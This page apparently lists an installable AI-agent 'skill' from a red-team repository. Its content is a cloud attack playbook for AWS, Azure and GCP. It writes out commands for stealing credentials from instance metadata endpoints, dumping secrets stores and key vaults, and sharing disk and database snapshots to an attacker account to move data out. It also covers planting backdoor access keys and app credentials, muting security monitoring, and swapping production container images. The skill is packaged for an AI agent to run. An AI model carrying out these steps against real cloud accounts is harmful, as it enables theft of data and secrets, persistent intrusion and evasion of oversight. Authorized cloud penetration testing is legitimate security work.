- name
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu,
SKILL.md
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Install this skill: https://github.com/SnailSploit/Claude-Red/tree/HEAD/Skills/cloud/offensive-cloudFrom the publisher
aws sts get-caller-identity, az account show, gcloud auth listaws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>
# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
--attribute createVolumePermission \
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
--attribute-name restore --values-to-add ATTACKER_ACCT
# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ... # Rare but devastating
# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user
update-findings-feedback if you have the permission (rare in prod)az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)
# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui # browse the gathered DB
# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com
# Storage account access keys (gold)
az storage account keys list -g RG -n SA
# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred
# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct
# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append
# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/
# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control
# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket
# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>
# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"
Most cloud takeovers in 2024-2025 start with CI tokens:
sub claimTest the OIDC trust policy claims carefully:
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org/*"
}
}
Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.
CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.
ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.
[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization
© 2026 Skills Rack.
---name: offensive-clouddescription: Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws…---# Skills/cloud/offensive-cloud/SKILL.mdOverview
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.
FAQ
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The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
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